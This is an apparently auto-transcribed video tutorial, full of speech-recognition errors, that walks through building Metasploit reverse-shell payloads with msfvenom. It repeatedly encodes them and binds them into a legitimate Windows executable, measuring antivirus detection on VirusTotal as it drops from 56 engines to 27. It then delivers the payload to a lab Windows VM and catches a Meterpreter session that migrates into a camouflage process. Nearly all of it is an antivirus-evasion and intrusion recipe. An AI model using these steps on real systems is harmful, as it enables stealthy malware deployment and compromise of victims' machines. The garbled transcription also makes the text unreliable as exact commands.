In this video, you will learn how to create malicious speed loads
that can also evade antivirus Solutions.
So, let's Dive In.
So now that we are on our Kali Linux virtual machine, let's ensure
we have interconnectivity so you
can simply open the terminal by clicking on Terminal
Emulator like so you can increase our font
size.
On grid let's check our internet connectivity
firstly Let's do an ifconfig.
Like Soo to verify. We have an IP
address on our physical Network.
So ethe0 is connected to my
personal Network and this is IP address it got
from my DHCP server.
Next let's ping. Let's ping. Google's
DNS civil like so we are going
to use taxi 4 the specify to
send four icmp. Echo request messages
to Google's DNS server.
Go ahead enter and currently I have full n10
connectivity via IP to
the internet, but let's check to see if my DNS is
working as well. So let's do ping www.google.com taxi
and full hit enter
and let's see if my DNS is resolving.
And yes, it did resolve to an IP V4
address, which is great.
So great. Let's clear this on.
Let's start off.
Metasploit is an exploitation development
framework and within a displayed. There is
a tool which is known as msf Venom.
Msf. Venom is simply tool within
Metasploit. That's simply allows this cyber Security
Professionals to generate Standalone Pilots additionally
from generating Standalone Pilots. We
can encode it in a Wii that
it could be less detectable via popular antivirus
Solutions. So let's try
this out firstly if I type msf Venom
as you can see it shows us how to
use it. It shows us we can insert options on
variables look at give
us an example here.
So for instance, we can say msf. Venom -
p
To specify the payload and this P load. It's
a reverse TCP connection.
So in other words if that is
executed or let's say victim system. It will
create a review shell a connection from the from the
victim system back to our attacker machine.
Then it specifies -
F that allows us a specify what is the
type of format so you can see it will
be an executable and executables are really for
Windows V Systems Dash. Oh specifies the
name of the output file, which will call
peel.exe.
However, I highly recommend to become familiar with this tool
because it could be very very useful.
So let's try this out. I'm gonna type play and
before we do this we need a couple
of things.
Let's do I've config one more time. And this
time I'm going to take the IP address on my ET
each one simply because if we
are going to create a review shell we need to tell the
victim system which IP address
to connect back to which is our system. So
I will need this IP address great. So
now we have our own IP address
on ethe1 which is connected to pen testnet
Network we can get started. So let's
type. Msf. Venom like so
Then let's do - p and specify
a simple payload. Of course. This pilot will
be executed within our metasploitable tree
Windows vs virtual machine. So we'll see
how this actually works. However, let's continue. Let's
do windows.
/ mattubers. Oh
slash reverse
underscore TCP. So you specify the
payload next we need to specify the local hose
which is
our call box system
So we're going to Type L. Who's like so equals
the IP address of
our Kali Linux virtual machine like so then we
need a specify what port to connect back
on to our system. So we're going
to Type L Port like so
equal and let's use portfol.
Next we're going to type Dash f for the type
of format, which is executable Dash common,
or like so let's call this
P load 1.exe connect
enter and it says Hey msf
then on is not found simply because
I met a typo. So let me fix that very quickly.
Right. So now we have msf venom.
Let's hit enter one more time. This should
take a few seconds to complete and pilot will
be generated and stored within our present working directory.
Okay, great. So the P load is completed it is generated and
it deceived.
for example, if I type LS -
L
I can see the P load is stored with my present
working directory. Okay, great. However, is
this pillow detectable by antiviruses? Will
it be flagged will it be blocked? These are questions we need
to answer.
So to test this out, let's open our web
browser.
And let's go to virus tool virus
Tut elixu and
enter.
and currently we will click on this
first URL that says virusuital.com
virus tools simply allows anyone to
upload a file on this file could be
checked against over 50 different antivirus sensors
to determine whether it is detected any
sort of malicious code or not.
Simply click on file and then click on choose file.
Now, let's navigate to all present working directory,
which is home like so and here you can
see we have P load 1.exe. Let's click on
ub1.
So right now it will attach the
file like so
Then once we click on confirm upload, it will
calculate a harsh of the file and pass the harsh
to over 50 different antivirus sensors and
it will tell us what it is detecting what
it is. Benai or what it
is malicious. So, let's give this a few seconds
around and while this is running you can see the number
of sensors that are detecting this to be malicious.
Okay, great. So this was completed and we can
see the actual harsh of the file. We could see the size of the file
we can see when the scan was completed and we
can see it was checked with 72 different
antivirus sensors and 56
detected this file to be malicious.
If I screw along just a little bit we can see all the
antivirus sensors that detected this
three malicious and we can also see the ones that
was not able to detect this file to be malicious.
If you click on details, we can see all the specific
harshers that was generated for this file like
so we can see the history. We can see
the name we can even see if there's any sort of
PE information such as portable executable any
handlers any sort of imports and
specific details that static malware
analysis. What are shown us?
The thing about using fire suitol
is if it detects a new type of malware, let's
say for instance how I upload this file.
This information will be shared with other antivirus sensors.
So there are 56 antiviruses are detected as
file to be malicious.
Let's try creating another payload.
But this time let's actually use a
very popular encoder. There's commonly
used to bypass antiviruses. So I'm gonna minimize my
web browser. Let's head over
back to or terminal. I'm gonna press up just a few
times this time. I'm going to change this to pee load
number two, and let's amend this
actual.
Come on, so I'm gonna add Taki or
- e at the end.
Space are no I'm gonna specify the actual
encoder. This will be x86 like so
and we're going to use the shakata again.
I encoder
next I can do - I to
encode this with nine iterations. This
will also help reduce detection. I'm gonna
hit enter like so this will take a few
seconds to complete once this is complete. It will generate
the new pilot 2.exe file within my
present working directory.
Excellent. So now we can see each iteration that
was used and we could also see it was
succeeded perfectly.
If I do LS - L
and hit enter I can see now. We have P load number
two that exe which is great. So once more
let's head over back to our web brows
up where we have virus total. And
now let's upload this new file, which is p loot
number two.
Simply select it and click on ub1.
And next let's click on confirm upload.
The process will be repeated because this is
a new file. It will be it will be harsh and
it will pass through each antivirus sensor.
Great, I'll notice now that even
though we have encoded the actual file, it
was still able to be detected by 52 antivirus
sensors. Well, we'll open
to get a lot less detection. But you
know, we can all try again. So let's actually improve our
encoding and this time
we're actually going to buy it into a file
that seems to look legitimate.
We're going to minimize this web browser like so now
we're back to our terminal.
so
it was detected by 54 sensors. Let's see if
you could get this down to some smaller numbers.
Clear item. Now gonna press up to get
my last command. We are going to keep the seams
and Ducks. But this time we are going to embed this
file into a trusted executable.
Before I do this, I'm going to open up
a new tab. I'm going to see if I could find
a file.
can type slash user
slash share
windows
Binaries hit enter.
and if I do LS - L
let's to pipe.
Grab, let's do who am I?
Think so. Okay great. So this file
is simply the who am I command within
a Windows exe? So
I'm gonna bind our P
load into this file and create a new P loon.
So let's do that.
current type PWD on this window
I'm going to copy the directory cut over
back to our msf. Venom window.
Now remember we have Tak X like so or
Dash X and specify present working
directory of where that pillow was
stored.
Let's do slash and this time gonna type.
Who?
I
that EXE
and last but not least which I almost forgot
to do is I need to change the name of Hope file
from p02 to Pilot 3 create.
Can hit enter this will take a few
seconds to complete and now we'll have pilot number
three which will seem to look at so it's
all legitimate file.
Simply because it will be embedded within the
Who Am i.exe file.
Okay, great. So now we have pilot number three if I
do LS - L
We can see pilot number three is right here. Great.
Let's head over back to our web browser. I'm
gonna upload another file and
this time is asking hey,
Am I a robot? Well, let's see.
Whoa, so I'm getting this a lot.
I'm gonna head over to Google.
Let me do virus tools all once more.
Hit enter. Let me go to the homepage.
Hopefully doesn't ask me to verify what i'm a robot or
not.
gonna upload pilot number three
and hopefully less sensors.
Will be able to detect this is a malicious file. If you're
remote number two, there is 54 senses
detected is file. Let's see if there's less than
54 this time.
And great. Look we have 27 sensors.
So the thing about antivirus sensors is they will
always get updated from time to time. And this is usually quite
a challenge to actually bypass antiviruses.
However, as you can see using these
techniques over and over we can reduce the
detection rate on whether or Pilots are
being detected or not.
So now that we have our p-load number 3 Let's actually
try this out on a Windows system,
and this will be very very exciting.
So now let's head over back to virtualbox manager and
let's pause on our Windows actually or
metasploitable tree Windows Virtual Machine.
And click on settings network.
It's on a pen. Test Network allow. Okay, this
seems to be great.
Going to log in once more.
Gonna make sure my python web server is running.
One port 8080t great and my
IP is correct as well.
Go up on the web browser. Hopefully this works this
time.
Let's do http.
call on slots slash 172
31 dot t86 like
so
cool on ET to specify the socket
and greet it worked this time.
So right now we are within the directory
of where we had executed a python
web server module.
So let me scroll down and we can see pilot trees
here. Let's click it.
Let's see if this on our desktop
like so and click
save.
And let's click lose.
Gonna minimize our web browser and you can and
we have peel tree here.
excellent
So I'm gonna stop the python web server now like
so.
And before we execute a speed load, let's
start up what we call a multi-handler to
catch that connection from the victim system.
This time we need to type msf console to
start Metasploit and this will take a few
seconds to load unwanted loads. We will start
up a multi-handler.
Module to actually catch that session once
it is executed.
Great.
So now we could type use exploit like
so multi slash Handler
going to enter nice.
Next we're going to type set P load like
so.
We are the special is simply load that is use to create
the actual Standalone pillow.
Which is Windows slash methioporter?
Slash reverse TCP like
so hit enter.
We just specify our local IP address,
which is the lhost.
And that's the IP for Kali Lux virtual machine.
Next we need to set the local Port which is
set.
Alport like so and this is four
four four. Actually. Let's type
options. Do I need to set a local port or
the local portals already set? Alright, so next
let's type set.
auto run script like so
And let's type post.
/
windows
/ manage
slash migrate
So the purpose of this Auto script is that once once
a victim connects back to us?
this script will
automatically be pushed to the victim system. Once
this push it will execute and it will
migrate actual process at P looters running on on
the victim system.
So let's type options one more time.
Let's ensure that everything is set properly.
Create let's type exploit. Now.
This will start a Handler to listen for the
connection.
Let's head over back to our
victim system
like so
and check this out. I'm gonna execute a
p-load and you will see on the Kali
Lux will show machine. It will be cut in the reviews connection.
Now double click clicker on.
And look what happens on the left hand
side of the screen.
We can see now the stage of the
pilot was sent we can see the connection was sent
we can see exactly everything that happened
and the actual p-load spawner
process, which is called nude pod exe and migrated
the actual p-load or
the process into that rule process.
So therefore on the victim machine if we
check let's say task manager. We'll see nude parties
running well nude party XC, but nude
party exe simply a camel flash for the
actual peel load.
And right now we have a method reviews connection,
which is excellent if I type this info.
We can see we are retrieving the information from
the victim system.
Pretty cool right in this video. You have learned how
to create malicious Pilots using MSR Venom Additionally you
have also learned how to transfer the
speed loot across to the victim system executed anyone capture
the review shell.
In the next video, we will take a look at exploiting vulnerable
machines and compromising different type of
security weaknesses. I hope this video has been informative
for you and I'll see you in the next one.